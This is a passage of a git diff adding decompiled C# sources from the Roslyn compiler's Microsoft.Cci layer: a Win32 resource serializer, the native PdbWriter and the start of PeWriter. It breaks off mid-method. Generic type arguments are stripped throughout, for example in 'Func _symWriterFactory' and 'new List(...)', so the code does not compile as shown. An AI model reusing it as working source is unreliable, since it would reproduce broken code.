((theResource.TypeId > num) ? 1 : 0); + if (num4 == 0) + { + goto IL_00c0; + } + } + else + { + num4 = 1; + } + num = theResource.TypeId; + text = theResource.TypeName; + if (num < 0) + { + directory.NumberOfNamedEntries++; + } + else + { + directory.NumberOfIdEntries++; + } + num3 += 24; + directory.Entries.Add(directory2 = new Directory(text, num)); + goto IL_00c0; + IL_00c0: + if (num4 != 0 || (theResource.Id < 0 && theResource.Name != text2) || theResource.Id > num2) + { + num2 = theResource.Id; + text2 = theResource.Name; + if (num2 < 0) + { + directory2.NumberOfNamedEntries++; + } + else + { + directory2.NumberOfIdEntries++; + } + num3 += 24; + directory2.Entries.Add(directory3 = new Directory(text2, num2)); + } + directory3.NumberOfIdEntries++; + num3 += 8; + directory3.Entries.Add(theResource); + } + BlobBuilder blobBuilder = new BlobBuilder(); + WriteDirectory(directory, builder, 0u, 0u, num3, resourcesRva, blobBuilder); + builder.LinkSuffix(blobBuilder); + builder.WriteByte(0); + builder.Align(4); + } + + private static void WriteDirectory(Directory directory, BlobBuilder writer, uint offset, uint level, uint sizeOfDirectoryTree, int virtualAddressBase, BlobBuilder dataWriter) + { + writer.WriteUInt32(0u); + writer.WriteUInt32(0u); + writer.WriteUInt32(0u); + writer.WriteUInt16(directory.NumberOfNamedEntries); + writer.WriteUInt16(directory.NumberOfIdEntries); + uint count = (uint)directory.Entries.Count; + uint num = offset + 16 + count * 8; + for (int i = 0; i < count; i++) + { + uint num2 = (uint)dataWriter.Count + sizeOfDirectoryTree; + uint num3 = num; + Directory directory2 = directory.Entries[i] as Directory; + int num4; + string text; + if (directory2 != null) + { + num4 = directory2.ID; + text = directory2.Name; + num = ((level != 0) ? (num + (uint)(16 + 8 * directory2.Entries.Count)) : (num + SizeOfDirectory(directory2))); + } + else + { + IWin32Resource win32Resource = (IWin32Resource)directory.Entries[i]; + num4 = level switch + { + 1u => win32Resource.Id, + 0u => win32Resource.TypeId, + _ => (int)win32Resource.LanguageId, + }; + text = level switch + { + 1u => win32Resource.Name, + 0u => win32Resource.TypeName, + _ => null, + }; + dataWriter.WriteUInt32((uint)(virtualAddressBase + sizeOfDirectoryTree + 16 + dataWriter.Count)); + byte[] array = new List(win32Resource.Data).ToArray(); + dataWriter.WriteUInt32((uint)array.Length); + dataWriter.WriteUInt32(win32Resource.CodePage); + dataWriter.WriteUInt32(0u); + dataWriter.WriteBytes(array); + while (dataWriter.Count % 4 != 0) + { + dataWriter.WriteByte(0); + } + } + if (num4 >= 0) + { + writer.WriteInt32(num4); + } + else + { + if (text == null) + { + text = string.Empty; + } + writer.WriteUInt32(num2 | 0x80000000u); + dataWriter.WriteUInt16((ushort)text.Length); + dataWriter.WriteUTF16(text); + } + if (directory2 != null) + { + writer.WriteUInt32(num3 | 0x80000000u); + } + else + { + writer.WriteUInt32(num2); + } + } + num = offset + 16 + count * 8; + for (int j = 0; j < count; j++) + { + if (directory.Entries[j] is Directory directory3) + { + WriteDirectory(directory3, writer, num, level + 1, sizeOfDirectoryTree, virtualAddressBase, dataWriter); + num = ((level != 0) ? (num + (uint)(16 + 8 * directory3.Entries.Count)) : (num + SizeOfDirectory(directory3))); + } + } + } + + private static uint SizeOfDirectory(Directory directory) + { + uint count = (uint)directory.Entries.Count; + uint num = 16 + 8 * count; + for (int i = 0; i < count; i++) + { + if (directory.Entries[i] is Directory directory2) + { + num += (uint)(16 + 8 * directory2.Entries.Count); + } + } + return num; + } + + public static void SerializeWin32Resources(BlobBuilder builder, ResourceSection resourceSections, int resourcesRva) + { + BlobWriter blobWriter = new BlobWriter(builder.ReserveBytes(resourceSections.SectionBytes.Length)); + blobWriter.WriteBytes(resourceSections.SectionBytes); + BinaryReader binaryReader = new BinaryReader(new MemoryStream(resourceSections.SectionBytes)); + uint[] relocations = resourceSections.Relocations; + for (int i = 0; i < relocations.Length; i++) + { + int num = (blobWriter.Offset = (int)relocations[i]); + binaryReader.BaseStream.Position = num; + blobWriter.WriteUInt32(binaryReader.ReadUInt32() + (uint)resourcesRva); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PdbWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PdbWriter.cs new file mode 100644 index 0000000..31b2cd6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PdbWriter.cs @@ -0,0 +1,577 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Security.Cryptography; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.DiaSymReader; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class PdbWriter : IDisposable +{ + internal const uint Age = 1u; + + private readonly HashAlgorithmName _hashAlgorithmNameOpt; + + private readonly string _fileName; + + private readonly Func _symWriterFactory; + + private readonly Dictionary _documentIndex; + + private MetadataWriter _metadataWriter; + + private SymUnmanagedWriter _symWriter; + + private SymUnmanagedSequencePointsWriter _sequencePointsWriter; + + private readonly Dictionary _qualifiedNameCache; + + private bool IsDeterministic + { + get + { + HashAlgorithmName hashAlgorithmNameOpt = _hashAlgorithmNameOpt; + return hashAlgorithmNameOpt.Name != null; + } + } + + private CommonPEModuleBuilder Module => Context.Module; + + private EmitContext Context => _metadataWriter.Context; + + public PdbWriter(string fileName, Func symWriterFactory, HashAlgorithmName hashAlgorithmNameOpt) + { + _fileName = fileName; + _symWriterFactory = symWriterFactory; + _hashAlgorithmNameOpt = hashAlgorithmNameOpt; + _documentIndex = new Dictionary(); + _qualifiedNameCache = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + } + + public void WriteTo(Stream stream) + { + _symWriter.WriteTo(stream); + } + + public void Dispose() + { + _symWriter?.Dispose(); + } + + public void SerializeDebugInfo(IMethodBody methodBody, StandaloneSignatureHandle localSignatureHandleOpt, CustomDebugInfoWriter customDebugInfoWriter) + { + MethodDefinitionHandle methodDefinitionHandle = (MethodDefinitionHandle)_metadataWriter.GetMethodHandle(methodBody.MethodDefinition); + bool flag = methodBody.StateMachineTypeName != null; + bool flag2 = flag || !methodBody.SequencePoints.IsEmpty || methodBody.MethodDefinition == (Context.Module.DebugEntryPoint ?? Context.Module.PEEntryPoint); + CompilationOptions options = Context.Module.CommonCompilation.Options; + bool flag3 = options.OutputKind == OutputKind.WindowsRuntimeMetadata; + bool emitDynamicAndTupleInfo = flag2 && !flag3; + bool emitEncInfo = options.EnableEditAndContinue && _metadataWriter.IsFullMetadata && !flag3; + bool emitExternNamespaces; + byte[] array = customDebugInfoWriter.SerializeMethodDebugInfo(Context, methodBody, methodDefinitionHandle, flag2, emitEncInfo, emitDynamicAndTupleInfo, out emitExternNamespaces); + if (!flag2 && array.Length == 0) + { + return; + } + int token = MetadataTokens.GetToken(methodDefinitionHandle); + OpenMethod(token); + if (flag2) + { + ImmutableArray localScopes = methodBody.LocalScopes; + if (localScopes.Length > 0) + { + DefineScopeLocals(localScopes[0], localSignatureHandleOpt); + } + if (!flag && methodBody.ImportScope != null) + { + if (customDebugInfoWriter.ShouldForwardNamespaceScopes(Context, methodBody, methodDefinitionHandle, out var forwardToMethod)) + { + if (forwardToMethod != null) + { + UsingNamespace("@" + MetadataTokens.GetToken(_metadataWriter.GetMethodHandle(forwardToMethod)), methodBody.MethodDefinition); + } + } + else + { + DefineNamespaceScopes(methodBody); + } + } + DefineLocalScopes(localScopes, localSignatureHandleOpt); + EmitSequencePoints(methodBody.SequencePoints); + if (methodBody.MoveNextBodyInfo is AsyncMoveNextBodyDebugInfo asyncMoveNextBodyDebugInfo) + { + _symWriter.SetAsyncInfo(token, MetadataTokens.GetToken(_metadataWriter.GetMethodHandle(asyncMoveNextBodyDebugInfo.KickoffMethod)), asyncMoveNextBodyDebugInfo.CatchHandlerOffset, asyncMoveNextBodyDebugInfo.YieldOffsets.AsSpan(), asyncMoveNextBodyDebugInfo.ResumeOffsets.AsSpan()); + } + if (emitExternNamespaces) + { + DefineAssemblyReferenceAliases(); + } + } + if (array.Length != 0) + { + _symWriter.DefineCustomMetadata(array); + } + CloseMethod(methodBody.IL.Length); + } + + private void DefineNamespaceScopes(IMethodBody methodBody) + { + CommonPEModuleBuilder module = Module; + bool generateVisualBasicStylePdb = module.GenerateVisualBasicStylePdb; + IMethodDefinition methodDefinition = methodBody.MethodDefinition; + IImportScope importScope = methodBody.ImportScope; + PooledHashSet pooledHashSet = null; + ImmutableArray.Enumerator enumerator; + if (!generateVisualBasicStylePdb) + { + for (IImportScope importScope2 = importScope; importScope2 != null; importScope2 = importScope2.Parent) + { + enumerator = importScope2.GetUsedNamespaces(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + UsedNamespaceOrType current = enumerator.Current; + if (current.TargetNamespaceOpt == null && current.TargetTypeOpt == null) + { + if (pooledHashSet == null) + { + pooledHashSet = PooledHashSet.GetInstance(); + } + pooledHashSet.Add(current.AliasOpt); + } + } + } + } + for (IImportScope importScope3 = importScope; importScope3 != null; importScope3 = importScope3.Parent) + { + enumerator = importScope3.GetUsedNamespaces(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + UsedNamespaceOrType current2 = enumerator.Current; + string text = TryEncodeImport(current2, pooledHashSet, isProjectLevel: false); + if (text != null) + { + UsingNamespace(text, methodDefinition); + } + } + } + pooledHashSet?.Free(); + if (!generateVisualBasicStylePdb) + { + return; + } + string defaultNamespace = module.DefaultNamespace; + if (!string.IsNullOrEmpty(defaultNamespace)) + { + UsingNamespace("*" + defaultNamespace, module); + } + foreach (string item in module.LinkedAssembliesDebugInfo) + { + UsingNamespace("&" + item, module); + } + enumerator = module.GetImports().GetEnumerator(); + while (enumerator.MoveNext()) + { + UsedNamespaceOrType current4 = enumerator.Current; + string text2 = TryEncodeImport(current4, null, isProjectLevel: true); + if (text2 != null) + { + UsingNamespace(text2, methodDefinition); + } + } + UsingNamespace(GetOrCreateSerializedNamespaceName(methodDefinition.ContainingNamespace), methodDefinition); + } + + private void DefineAssemblyReferenceAliases() + { + ImmutableArray.Enumerator enumerator = Module.GetAssemblyReferenceAliases(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblyReferenceAlias current = enumerator.Current; + UsingNamespace("Z" + current.Name + " " + current.Assembly.Identity.GetDisplayName(), Module); + } + } + + private string TryEncodeImport(UsedNamespaceOrType import, HashSet declaredExternAliasesOpt, bool isProjectLevel) + { + if (Module.GenerateVisualBasicStylePdb) + { + if (import.TargetTypeOpt != null) + { + if (import.TargetTypeOpt.IsTypeSpecification()) + { + return null; + } + string orCreateSerializedTypeName = GetOrCreateSerializedTypeName(import.TargetTypeOpt); + if (import.AliasOpt != null) + { + return (isProjectLevel ? "@PA:" : "@FA:") + import.AliasOpt + "=" + orCreateSerializedTypeName; + } + return (isProjectLevel ? "@PT:" : "@FT:") + orCreateSerializedTypeName; + } + if (import.TargetNamespaceOpt != null) + { + string orCreateSerializedNamespaceName = GetOrCreateSerializedNamespaceName(import.TargetNamespaceOpt); + if (import.AliasOpt == null) + { + return (isProjectLevel ? "@P:" : "@F:") + orCreateSerializedNamespaceName; + } + return (isProjectLevel ? "@PA:" : "@FA:") + import.AliasOpt + "=" + orCreateSerializedNamespaceName; + } + return (isProjectLevel ? "@PX:" : "@FX:") + import.AliasOpt + "=" + import.TargetXmlNamespaceOpt; + } + if (import.TargetTypeOpt != null) + { + string orCreateSerializedTypeName2 = GetOrCreateSerializedTypeName(import.TargetTypeOpt); + if (import.AliasOpt == null) + { + return "T" + orCreateSerializedTypeName2; + } + return "A" + import.AliasOpt + " T" + orCreateSerializedTypeName2; + } + if (import.TargetNamespaceOpt != null) + { + string orCreateSerializedNamespaceName2 = GetOrCreateSerializedNamespaceName(import.TargetNamespaceOpt); + if (import.AliasOpt != null) + { + if (import.TargetAssemblyOpt == null) + { + return "A" + import.AliasOpt + " U" + orCreateSerializedNamespaceName2; + } + return "A" + import.AliasOpt + " E" + orCreateSerializedNamespaceName2 + " " + GetAssemblyReferenceAlias(import.TargetAssemblyOpt, declaredExternAliasesOpt); + } + if (import.TargetAssemblyOpt == null) + { + return "U" + orCreateSerializedNamespaceName2; + } + return "E" + orCreateSerializedNamespaceName2 + " " + GetAssemblyReferenceAlias(import.TargetAssemblyOpt, declaredExternAliasesOpt); + } + return "X" + import.AliasOpt; + } + + internal string GetOrCreateSerializedNamespaceName(INamespace @namespace) + { + if (!_qualifiedNameCache.TryGetValue(@namespace, out var value)) + { + value = TypeNameSerializer.BuildQualifiedNamespaceName(@namespace); + _qualifiedNameCache.Add(@namespace, value); + } + return value; + } + + internal string GetOrCreateSerializedTypeName(ITypeReference typeReference) + { + if (!_qualifiedNameCache.TryGetValue(typeReference, out var value)) + { + value = ((!Module.GenerateVisualBasicStylePdb) ? typeReference.GetSerializedTypeName(Context) : SerializeVisualBasicImportTypeReference(typeReference)); + _qualifiedNameCache.Add(typeReference, value); + } + return value; + } + + private string SerializeVisualBasicImportTypeReference(ITypeReference typeReference) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + ArrayBuilder arrayBuilder; + if (asNestedTypeReference != null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + while (asNestedTypeReference != null) + { + arrayBuilder.Add(asNestedTypeReference.Name); + typeReference = asNestedTypeReference.GetContainingType(_metadataWriter.Context); + asNestedTypeReference = typeReference.AsNestedTypeReference; + } + } + else + { + arrayBuilder = null; + } + INamespaceTypeReference asNamespaceTypeReference = typeReference.AsNamespaceTypeReference; + string namespaceName = asNamespaceTypeReference.NamespaceName; + if (namespaceName.Length != 0) + { + instance.Builder.Append(namespaceName); + instance.Builder.Append('.'); + } + instance.Builder.Append(asNamespaceTypeReference.Name); + if (arrayBuilder != null) + { + for (int num = arrayBuilder.Count - 1; num >= 0; num--) + { + instance.Builder.Append('.'); + instance.Builder.Append(arrayBuilder[num]); + } + arrayBuilder.Free(); + } + return instance.ToStringAndFree(); + } + + private string GetAssemblyReferenceAlias(IAssemblyReference assembly, HashSet declaredExternAliases) + { + ImmutableArray.Enumerator enumerator = _metadataWriter.Context.Module.GetAssemblyReferenceAliases(_metadataWriter.Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblyReferenceAlias current = enumerator.Current; + if (assembly == current.Assembly && declaredExternAliases.Contains(current.Name)) + { + return current.Name; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/NativePdbWriter/PdbWriter.cs", 444); + } + + private void DefineLocalScopes(ImmutableArray scopes, StandaloneSignatureHandle localSignatureHandleOpt) + { + bool generateVisualBasicStylePdb = Module.GenerateVisualBasicStylePdb; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 1; i < scopes.Length; i++) + { + LocalScope localScope = scopes[i]; + while (instance.Count > 0) + { + LocalScope localScope2 = instance.Last(); + if (localScope.StartOffset < localScope2.StartOffset + localScope2.Length) + { + break; + } + instance.RemoveLast(); + _symWriter.CloseScope(generateVisualBasicStylePdb ? (localScope2.EndOffset - 1) : localScope2.EndOffset); + } + instance.Add(localScope); + _symWriter.OpenScope(localScope.StartOffset); + DefineScopeLocals(localScope, localSignatureHandleOpt); + } + for (int num = instance.Count - 1; num >= 0; num--) + { + LocalScope localScope3 = instance[num]; + _symWriter.CloseScope(generateVisualBasicStylePdb ? (localScope3.EndOffset - 1) : localScope3.EndOffset); + } + instance.Free(); + } + + private void DefineScopeLocals(LocalScope currentScope, StandaloneSignatureHandle localSignatureHandleOpt) + { + ImmutableArray.Enumerator enumerator = currentScope.Constants.GetEnumerator(); + while (enumerator.MoveNext()) + { + ILocalDefinition current = enumerator.Current; + StandaloneSignatureHandle standaloneSignatureHandle = _metadataWriter.SerializeLocalConstantStandAloneSignature(current); + if (!_metadataWriter.IsLocalNameTooLong(current)) + { + _symWriter.DefineLocalConstant(current.Name, current.CompileTimeValue.Value, MetadataTokens.GetToken(standaloneSignatureHandle)); + } + } + enumerator = currentScope.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + ILocalDefinition current2 = enumerator.Current; + if (!_metadataWriter.IsLocalNameTooLong(current2)) + { + _symWriter.DefineLocalVariable(current2.SlotIndex, current2.Name, (int)current2.PdbAttributes, (!localSignatureHandleOpt.IsNil) ? MetadataTokens.GetToken(localSignatureHandleOpt) : 0); + } + } + } + + public void SetMetadataEmitter(MetadataWriter metadataWriter) + { + SymUnmanagedWriterCreationOptions options = (SymUnmanagedWriterCreationOptions)((IsDeterministic ? 8 : 4) | 2); + SymWriterMetadataProvider symWriterMetadataProvider = new SymWriterMetadataProvider(metadataWriter); + SymUnmanagedWriter symUnmanagedWriter; + try + { + symUnmanagedWriter = ((_symWriterFactory != null) ? _symWriterFactory(symWriterMetadataProvider) : SymUnmanagedWriterFactory.CreateWriter(symWriterMetadataProvider, options)); + } + catch (DllNotFoundException ex) + { + throw new SymUnmanagedWriterException(ex.Message); + } + catch (SymUnmanagedWriterException ex2) when (ex2.InnerException is NotSupportedException) + { + throw new SymUnmanagedWriterException(string.Format(IsDeterministic ? CodeAnalysisResources.SymWriterNotDeterministic : CodeAnalysisResources.SymWriterOlderVersionThanRequired, ex2.ImplementationModuleName)); + } + _metadataWriter = metadataWriter; + _symWriter = symUnmanagedWriter; + _sequencePointsWriter = new SymUnmanagedSequencePointsWriter(symUnmanagedWriter); + } + + public BlobContentId GetContentId() + { + BlobContentId result; + if (IsDeterministic) + { + result = BlobContentId.FromHash(CryptographicHashProvider.ComputeHash(_hashAlgorithmNameOpt, _symWriter.GetUnderlyingData())); + _symWriter.UpdateSignature(result.Guid, result.Stamp, 1); + } + else + { + _symWriter.GetSignature(out var guid, out var stamp, out var _); + result = new BlobContentId(guid, stamp); + } + _symWriter.Dispose(); + return result; + } + + public void SetEntryPoint(int entryMethodToken) + { + _symWriter.SetEntryPoint(entryMethodToken); + } + + private int GetDocumentIndex(DebugSourceDocument document) + { + if (_documentIndex.TryGetValue(document, out var value)) + { + return value; + } + return AddDocumentIndex(document); + } + + private int AddDocumentIndex(DebugSourceDocument document) + { + DebugSourceInfo sourceInfo = document.GetSourceInfo(); + Guid algorithmId; + ReadOnlySpan checksum; + if (!sourceInfo.Checksum.IsDefault) + { + algorithmId = sourceInfo.ChecksumAlgorithmId; + checksum = sourceInfo.Checksum.AsSpan(); + } + else + { + algorithmId = default(Guid); + checksum = null; + } + ReadOnlySpan source = (sourceInfo.EmbeddedTextBlob.IsDefault ? ((ReadOnlySpan)null) : sourceInfo.EmbeddedTextBlob.AsSpan()); + int num = _symWriter.DefineDocument(document.Location, document.Language, document.LanguageVendor, document.DocumentType, algorithmId, checksum, source); + _documentIndex.Add(document, num); + return num; + } + + private void OpenMethod(int methodToken) + { + _symWriter.OpenMethod(methodToken); + _symWriter.OpenScope(0); + } + + private void CloseMethod(int ilLength) + { + _symWriter.CloseScope(ilLength); + _symWriter.CloseMethod(); + } + + private void UsingNamespace(string fullName, INamedEntity errorEntity) + { + if (!_metadataWriter.IsUsingStringTooLong(fullName, errorEntity)) + { + _symWriter.UsingNamespace(fullName); + } + } + + private void EmitSequencePoints(ImmutableArray sequencePoints) + { + int num = -1; + DebugSourceDocument debugSourceDocument = null; + ImmutableArray.Enumerator enumerator = sequencePoints.GetEnumerator(); + while (enumerator.MoveNext()) + { + SequencePoint current = enumerator.Current; + DebugSourceDocument document = current.Document; + int documentIndex; + if (debugSourceDocument == document) + { + documentIndex = num; + } + else + { + debugSourceDocument = document; + documentIndex = (num = GetDocumentIndex(debugSourceDocument)); + } + _sequencePointsWriter.Add(documentIndex, current.Offset, current.StartLine, current.StartColumn, current.EndLine, current.EndColumn); + } + _sequencePointsWriter.Flush(); + } + + [Conditional("DEBUG")] + public void AssertAllDefinitionsHaveTokens(MultiDictionary file2definitions) + { + foreach (KeyValuePair.ValueSet> file2definition in file2definitions) + { + foreach (DefinitionWithLocation item in file2definition.Value) + { + _metadataWriter.GetDefinitionHandle(item.Definition); + } + } + } + + public void WriteDefinitionLocations(MultiDictionary file2definitions) + { + bool flag = false; + foreach (KeyValuePair.ValueSet> file2definition in file2definitions) + { + foreach (DefinitionWithLocation item in file2definition.Value) + { + if (!flag) + { + _symWriter.OpenTokensToSourceSpansMap(); + flag = true; + } + int token = MetadataTokens.GetToken(_metadataWriter.GetDefinitionHandle(item.Definition)); + _symWriter.MapTokenToSourceSpan(token, GetDocumentIndex(file2definition.Key), item.StartLine + 1, item.StartColumn + 1, item.EndLine + 1, item.EndColumn + 1); + } + } + if (flag) + { + _symWriter.CloseTokensToSourceSpansMap(); + } + } + + public void EmbedSourceLink(Stream stream) + { + byte[] sourceLinkData; + try + { + sourceLinkData = stream.ReadAllBytes(); + } + catch (Exception ex) + { + throw new SymUnmanagedWriterException(ex.Message, ex); + } + try + { + _symWriter.SetSourceLinkData(sourceLinkData); + } + catch (SymUnmanagedWriterException ex2) when (ex2.InnerException is NotSupportedException) + { + throw new SymUnmanagedWriterException(string.Format(CodeAnalysisResources.SymWriterDoesNotSupportSourceLink, ex2.ImplementationModuleName)); + } + } + + public void WriteRemainingDebugDocuments(IReadOnlyDictionary documents) + { + foreach (KeyValuePair item in from kvp in documents + where !_documentIndex.ContainsKey(kvp.Value) + orderby kvp.Key + select kvp) + { + AddDocumentIndex(item.Value); + } + } + + public void WriteCompilerVersion(string language) + { + Assembly assembly = typeof(Compilation).Assembly; + Version version = Version.Parse(assembly.GetCustomAttribute().Version); + string informationalVersion = assembly.GetCustomAttribute().InformationalVersion; + _symWriter.AddCompilerInfo((ushort)version.Major, (ushort)version.Minor, (ushort)version.Build, (ushort)version.Revision, language + " - " + informationalVersion); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWriter.cs new file mode 100644 index 0000000..44f65b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWriter.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.DiaSymReader; + +namespace Microsoft.Cci; + +internal static class PeWriter +{ + private sealed class ResourceSectionBuilderFromObj : ResourceSectionBuilder + { + private readonly ResourceSection _resourceSection; + + public ResourceSectionBuilderFromObj(ResourceSection resourceSection) + { + _resourceSection = resourceSection; + } + + protected override void Serialize(BlobBuilder builder, SectionLocation location) + { + NativeResourceWriter.SerializeWin32Resources(builder, _resourceSection, location.RelativeVirtualAddress); + } + } + + private sealed class ResourceSectionBuilderFromResources : ResourceSectionBuilder + { + private readonly IEnumerable _resources; + + public ResourceSectionBuilderFromResources(IEnumerable resources) + { + _resources = resources; + } + + protected override void Serialize(BlobBuilder builder, SectionLocation location) + { + NativeResourceWriter.SerializeWin32Resources(builder, _resources, location.RelativeVirtualAddress); + } + } + + private sealed class ResourceSectionBuilderFromRaw : ResourceSectionBuilder + { + private readonly Stream _resources; + + public ResourceSectionBuilderFromRaw(Stream resources) + { + _resources = resources; + } + + protected override void Serialize(BlobBuilder builder, SectionLocation location) + { + int num; + while ((num = _resources.ReadByte()) >= 0) + { + builder.WriteByte((byte)num); + } + } + } + + private static MethodInfo s_calculateChecksumMethod; + + internal static bool WritePeToStream(EmitContext context, CommonMessageProvider messageProvider, Func getPeStream, Func getPortablePdbStreamOpt, PdbWriter nativePdbWriterOpt, string pdbPathOpt, bool metadataOnly, bool isDeterministic, bool emitTestCoverageData, RSAParameters? privateKeyOpt, CancellationToken cancellationToken) + { + MetadataWriter metadataWriter = FullMetadataWriter.Create(context, messageProvider, metadataOnly, isDeterministic, emitTestCoverageData, getPortablePdbStreamOpt != null, cancellationToken); + ModulePropertiesForSerialization serializationProperties = context.Module.SerializationProperties; + context.Module.TestData?.SetMetadataWriter(metadataWriter); + nativePdbWriterOpt?.SetMetadataEmitter(metadataWriter); + BlobBuilder blobBuilder = new BlobBuilder(32768); + BlobBuilder blobBuilder2 = new BlobBuilder(); + BlobBuilder blobBuilder3 = new BlobBuilder(1024); + metadataWriter.BuildMetadataAndIL(nativePdbWriterOpt, blobBuilder, blobBuilder2, blobBuilder3, out var mvidFixup, out var mvidStringFixup); + metadataWriter.GetEntryPoints(out var entryPointHandle, out var debugEntryPointHandle); + if (!debugEntryPointHandle.IsNil) + { + nativePdbWriterOpt?.SetEntryPoint(MetadataTokens.GetToken(debugEntryPointHandle)); + } + if (nativePdbWriterOpt != null) + { + if (context.Module.SourceLinkStreamOpt != null) + { + nativePdbWriterOpt.EmbedSourceLink(context.Module.SourceLinkStreamOpt); + } + if (metadataWriter.Module.OutputKind == OutputKind.WindowsRuntimeMetadata) + { + nativePdbWriterOpt.WriteDefinitionLocations(metadataWriter.Module.GetSymbolToLocationMap()); + } + nativePdbWriterOpt.WriteRemainingDebugDocuments(metadataWriter.Module.DebugDocumentsBuilder.DebugDocuments); + nativePdbWriterOpt.WriteCompilerVersion(context.Module.CommonCompilation.Language); + } + Stream stream = getPeStream(); + if (stream == null) + { + return false; + } + BlobContentId pdbContentId = nativePdbWriterOpt?.GetContentId() ?? default(BlobContentId); + nativePdbWriterOpt = null; + ushort portablePdbVersion = 0; + MetadataRootBuilder rootBuilder = metadataWriter.GetRootBuilder(); + PEHeaderBuilder header = new PEHeaderBuilder(serializationProperties.Machine, serializationProperties.SectionAlignment, serializationProperties.FileAlignment, serializationProperties.BaseAddress, serializationProperties.LinkerMajorVersion, serializationProperties.LinkerMinorVersion, 4, 0, 0, 0, serializationProperties.MajorSubsystemVersion, serializationProperties.MinorSubsystemVersion, serializationProperties.Subsystem, serializationProperties.DllCharacteristics, serializationProperties.ImageCharacteristics, serializationProperties.SizeOfStackReserve, serializationProperties.SizeOfStackCommit, serializationProperties.SizeOfHeapReserve, serializationProperties.SizeOfHeapCommit); + Func, BlobContentId> deterministicIdProvider = (isDeterministic ? ((Func, BlobContentId>)((IEnumerable content) => BlobContentId.FromHash(CryptographicHashProvider.ComputeSourceHash(content)))) : null); + ImmutableArray portablePdbContentHash = default(ImmutableArray); + BlobBuilder blobBuilder4 = null; + if (metadataWriter.EmitPortableDebugMetadata) + { + metadataWriter.AddRemainingDebugDocuments(metadataWriter.Module.DebugDocumentsBuilder.DebugDocuments); + Func, BlobContentId> deterministicIdProviderOpt = ((context.Module.PdbChecksumAlgorithm.Name != null) ? ((Func, BlobContentId>)((IEnumerable content) => BlobContentId.FromHash(portablePdbContentHash = CryptographicHashProvider.ComputeHash(context.Module.PdbChecksumAlgorithm, content)))) : null); + BlobBuilder blobBuilder5 = new BlobBuilder(); + PortablePdbBuilder portablePdbBuilder = metadataWriter.GetPortablePdbBuilder(rootBuilder.Sizes.RowCounts, debugEntryPointHandle, deterministicIdProviderOpt); + pdbContentId = portablePdbBuilder.Serialize(blobBuilder5); + portablePdbVersion = portablePdbBuilder.FormatVersion; + if (getPortablePdbStreamOpt == null) + { + blobBuilder4 = blobBuilder5; + } + else + { + Stream stream2 = getPortablePdbStreamOpt(); + if (stream2 != null) + { + try + { + blobBuilder5.WriteContentTo(stream2); + } + catch (Exception ex) when (!(ex is OperationCanceledException)) + { + throw new SymUnmanagedWriterException(ex.Message, ex); + } + } + } + } + DebugDirectoryBuilder debugDirectoryBuilder; + if (pdbPathOpt != null || isDeterministic || blobBuilder4 != null) + { + debugDirectoryBuilder = new DebugDirectoryBuilder(); + if (pdbPathOpt != null) + { + string pdbPath = (isDeterministic ? pdbPathOpt : PadPdbPath(pdbPathOpt)); + debugDirectoryBuilder.AddCodeViewEntry(pdbPath, pdbContentId, portablePdbVersion); + if (!portablePdbContentHash.IsDefault) + { + debugDirectoryBuilder.AddPdbChecksumEntry(context.Module.PdbChecksumAlgorithm.Name, portablePdbContentHash); + } + } + if (isDeterministic) + { + debugDirectoryBuilder.AddReproducibleEntry(); + } + if (blobBuilder4 != null) + { + debugDirectoryBuilder.AddEmbeddedPortablePdbEntry(blobBuilder4, portablePdbVersion); + } + } + else + { + debugDirectoryBuilder = null; + } + StrongNameProvider strongNameProvider = context.Module.CommonCompilation.Options.StrongNameProvider; + CorFlags corFlags = serializationProperties.CorFlags; + ExtendedPEBuilder extendedPEBuilder = new ExtendedPEBuilder(header, rootBuilder, blobBuilder, blobBuilder2, blobBuilder3, CreateNativeResourceSectionSerializer(context.Module), debugDirectoryBuilder, SigningUtilities.CalculateStrongNameSignatureSize(context.Module, privateKeyOpt), entryPointHandle, corFlags, deterministicIdProvider, metadataOnly && !context.IncludePrivateMembers); + BlobBuilder blobBuilder6 = new BlobBuilder(); + Blob mvidSectionFixup; + BlobContentId blobContentId = extendedPEBuilder.Serialize(blobBuilder6, out mvidSectionFixup); + PatchModuleVersionIds(mvidFixup, mvidSectionFixup, mvidStringFixup, blobContentId.Guid); + if (privateKeyOpt.HasValue && corFlags.HasFlag(CorFlags.StrongNameSigned)) + { + strongNameProvider.SignBuilder(extendedPEBuilder, blobBuilder6, privateKeyOpt.Value); + } + try + { + blobBuilder6.WriteContentTo(stream); + } + catch (Exception ex2) when (!(ex2 is OperationCanceledException)) + { + throw new PeWritingException(ex2); + } + return true; + } + + internal static uint CalculateChecksum(BlobBuilder peBlob, Blob checksumBlob) + { + if (s_calculateChecksumMethod == null) + { + 